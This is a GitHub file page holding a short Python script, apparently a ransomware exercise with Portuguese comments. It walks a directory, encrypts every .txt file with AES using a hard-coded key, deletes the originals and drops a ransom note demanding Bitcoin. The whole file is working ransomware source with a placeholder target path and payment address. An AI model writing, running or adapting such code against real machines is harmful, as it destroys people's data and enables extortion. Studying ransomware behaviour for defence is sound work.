-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathencrypt2.py
More file actions
65 lines (50 loc) · 2.03 KB
/
encrypt2.py
File metadata and controls
65 lines (50 loc) · 2.03 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
import os
import pyaes
def encrypt_file(file_path, key):
try:
# Abrir o arquivo a ser criptografado
with open(file_path, "rb") as file:
file_data = file.read()
# Instanciar o AES com a chave
aes = pyaes.AESModeOfOperationCTR(key)
# Criptografar os dados do arquivo
crypto_data = aes.encrypt(file_data)
# Salvar o arquivo criptografado com uma nova extensão
encrypted_file_path = file_path + ".encrypted"
with open(encrypted_file_path, "wb") as new_file:
new_file.write(crypto_data)
# Remover o arquivo original
os.remove(file_path)
print(f"Arquivo {file_path} encriptado com sucesso!")
except Exception as e:
print(f"Erro ao encriptar o arquivo {file_path}: {e}")
def encrypt_directory(directory, key):
# Verificar se o diretório existe
if not os.path.isdir(directory):
print(f"Erro: O diretório {directory} não existe.")
return
try:
# Percorrer todos os arquivos no diretório
for root, dirs, files in os.walk(directory):
for file in files:
if file.endswith(".txt"):
file_path = os.path.join(root, file)
encrypt_file(file_path, key)
# Criar um arquivo de resgate típico de ransomware
ransom_note = """
Seus arquivos foram encriptados!
Para recuperar seus arquivos, envie 1 Bitcoin para o endereço XYZ.
"""
ransom_note_path = os.path.join(directory, "README_FOR_DECRYPT.txt")
with open(ransom_note_path, "w") as ransom_file:
ransom_file.write(ransom_note)
print("Arquivos encriptados")
except Exception as e:
print(f"Erro ao encriptar o diretório {directory}: {e}")
if __name__ == "__main__":
# Definir a chave de criptografia
key = b"testeransomwares"
# Diretório a ser encriptado
directory = "caminho/para/a/pasta"
# Chamar a função para encriptar o diretório
encrypt_directory(directory, key)